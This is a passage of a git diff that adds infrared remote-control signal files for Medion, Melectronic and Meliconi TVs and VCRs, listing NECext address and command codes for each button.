+type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: KEY_CAMERA +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir new file mode 100644 index 000000000..597f000d7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: sh_2 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 00 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 02 00 00 00 +# +name: splitscreen +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 03 00 00 00 +# +name: vidtext +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 04 00 00 00 +# +name: sh_1 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 05 00 00 00 +# +name: sh_splitscreen +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 06 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 11 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 13 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 14 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 17 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1D 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1F 00 00 00 +# +name: sh_0 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 40 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 42 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 44 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 49 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 4C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 4D 00 00 00 +# +name: sh_-/-- +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 4F 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 50 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 51 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 52 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 53 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 54 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 55 00 00 00 +# +name: sh_av +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 58 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 59 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 5A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 5C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 17 69 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir new file mode 100644 index 000000000..a3adbd88e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 02 00 00 00 +# +name: u3 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 03 00 00 00 +# +name: u1 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 04 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 11 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 13 00 00 00 +# +name: u2 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 17 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1D 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 42 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 44 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 49 00 00 00 +# +name: pink +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 4C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 4D 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 50 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 51 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 52 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 53 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 54 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 55 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 59 00 00 00 +# +name: einbl +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 5A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 5C 00 00 00 +# +name: u4 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir new file mode 100644 index 000000000..e6bbb436a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 09 00 00 00 +# +name: CannelTracking+ +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0B 00 00 00 +# +name: TimerRec +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0D 00 00 00 +# +name: AudioSelect +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0E 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 13 00 00 00 +# +name: Index +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 16 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 17 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 18 00 00 00 +# +name: FastReturn +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 19 00 00 00 +# +name: Pause/Still +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1A 00 00 00 +# +name: ShowView/Program +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1D 00 00 00 +# +name: SpeedSP/LP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 45 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 47 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4A 00 00 00 +# +name: ZeroReturn +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4B 00 00 00 +# +name: CounterReset +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 50 00 00 00 +# +name: Clock/Counter +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 51 00 00 00 +# +name: ATR +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 52 00 00 00 +# +name: Call +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir new file mode 100644 index 000000000..2a3b706b0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir new file mode 100644 index 000000000..d9e5bfc21 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: gainup +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: gaindown +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: brightdown +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: brightup +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: contrastdown +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: contrastup +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: tvav +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: on +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: one +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: two +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: three +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: four +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: five +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: six +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: seven +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: eight +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: nine +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: zero +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: ten +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: twenty +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir new file mode 100644 index 000000000..bd01c22da --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_1-/-- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: No_Vol +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_2- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: TV3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: TV1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: TV2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir new file mode 100644 index 000000000..88e0a7f54 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: S/REWIND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: S/AV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: S/PLAY +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: S/MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: S/FORWARD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: S/P+ +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: S/P- +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: S/STOP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_2- +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: S/VOL- +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: S/VOL+ +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: S/OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: KEY_1-/-- +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: S/MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 